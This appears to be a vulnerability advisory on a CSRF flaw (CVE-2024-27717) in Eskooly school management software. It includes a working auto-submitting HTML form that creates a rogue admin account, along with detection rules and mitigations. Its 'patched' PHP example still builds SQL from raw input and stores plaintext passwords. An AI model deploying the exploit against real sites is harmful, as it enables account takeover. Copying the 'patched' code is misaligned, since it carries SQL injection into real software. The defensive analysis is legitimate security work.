CVE-2024-27717

Executive Summary

CVE-2024-27717 is a Cross-Site Request Forgery (CSRF) vulnerability identified in Eskooly Free Online School Management Software, version 3.0 and earlier. This flaw resides in the Token Handling component, allowing a remote attacker to perform unauthorized actions on behalf of an authenticated user, potentially leading to privilege escalation. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the impact is significant due to the lack of CSRF protections. No public exploit code or proof-of-concept is available at this time, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application (Eskooly School Management Software) and does not involve package manager dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must be logged in
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: High (due to potential privilege escalation and lack of patch)

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw in the Token Handling component of Eskooly. The application fails to validate or include anti-CSRF tokens (e.g., synchronizer tokens, SameSite cookies, or custom headers) in state-changing requests. An attacker can craft a malicious link or form that, when clicked by an authenticated administrator, performs actions such as creating new users, modifying permissions, or changing settings without the victim's consent.

Root Cause: The application does not implement CSRF protection mechanisms. The Token Handling component likely refers to session tokens or API tokens that are not bound to specific requests, allowing reuse across different origins.

Attack Flow:

1. Attacker identifies a state-changing endpoint (e.g., /admin/add_user.php).
2. Attacker crafts an HTML page with a hidden form or image tag that sends a POST request to that endpoint.
3. Victim (authenticated admin) visits the attacker's page.
4. The browser automatically sends the request with the victim's session cookie.
5. The server processes the request, leading to unauthorized actions.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (PHP example):

<?php
// No CSRF token check
if ($_POST['action'] == 'add_user') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    // Add user to database
    $db->query("INSERT INTO users (username, password) VALUES ('$username', '$password')");
    echo "User added successfully";
}
?>

Patched Code (Hypothetical):

<?php
session_start();
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF token validation failed");
}
if ($_POST['action'] == 'add_user') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    // Add user to database
    $db->query("INSERT INTO users (username, password) VALUES ('$username', '$password')");
    echo "User added successfully";
}
?>

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: Eskooly v3.0 running on a local server (e.g., XAMPP).
• Attacker machine: Kali Linux with a simple HTTP server.
• Victim: Firefox browser logged in as admin.

Exploitation Steps:

1. Identify a state-changing endpoint (e.g., /admin/add_user.php).
2. Create a malicious HTML file (csrf_exploit.html):

<html>
<body>
<form action="http://target/admin/add_user.php" method="POST" id="csrf_form">
    <input type="hidden" name="username" value="attacker">
    <input type="hidden" name="password" value="attacker123">
    <input type="hidden" name="role" value="admin">
    <input type="submit" value="Click me">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

3. Host the file on attacker's server: python3 -m http.server 8080.
4. Send the link to the victim (e.g., via email or social engineering).
5. When victim clicks, the form auto-submits, creating a new admin user.

Blue Team (Defender)

Detection:

• Monitor for unexpected POST requests to sensitive endpoints (e.g., /admin/add_user.php, /admin/change_password.php).
• Check for missing Referer or Origin headers in requests.
• Look for multiple rapid requests from the same IP to different admin functions.

Mitigation:

• Implement CSRF tokens in all forms and AJAX requests.
• Use SameSite cookies (Strict or Lax).
• Validate Origin and Referer headers.
• Add custom headers (e.g., X-Requested-With: XMLHttpRequest) for AJAX calls.

Indicators of Compromise (IOCs)

• Network: Unusual POST requests to /admin/* endpoints without Referer header matching the application domain.
• Logs: Multiple user creation or permission changes from a single IP within a short time.
• File: Presence of unexpected HTML files on the server (if attacker uploads CSRF payloads).
• User Agent: No specific UA, but requests may lack typical browser headers.

Detection Engineering

YARA Rule

rule Detect_Eskooly_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Eskooly v3.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27717"
    strings:
        $csrf_form = /<form[^>]*action=["']http:\/\/[^"']*\/admin\/[^"']*["']/ nocase
        $csrf_input = /<input[^>]*name=["'](username|password|role)["']/ nocase
        $auto_submit = /document\.getElementById\(['"]csrf_form['"]\)\.submit\(\)/ nocase
    condition:
        any of them
}

Sigma Rule

title: Eskooly CSRF Exploit Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential CSRF attacks against Eskooly School Management Software
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/admin/'
        cs-referer|contains: 'http://'
    filter:
        cs-referer|contains: 'target_domain.com'  # Replace with actual domain
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from same domain
level: high

Suricata Rule

alert http any any -> any any (msg:"Eskooly CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/"; http_uri; pcre:"/Referer\x3a\s[^\r\n]*http:\/\//Hi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable public access to admin panels if possible.
2. Implement CSRF tokens in all forms and AJAX requests.
3. Set SameSite cookies to Strict or Lax.
4. Validate Origin and Referer headers for all state-changing requests.
5. Use custom headers (e.g., X-Requested-With) for AJAX calls.

Long-term Fix:

• Upgrade to a patched version when available.
• Conduct a security audit of the entire application.
• Implement a Web Application Firewall (WAF) to block CSRF patterns.

Workarounds:

• Add a CAPTCHA to sensitive actions.
• Require re-authentication for critical operations (e.g., adding users).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-27717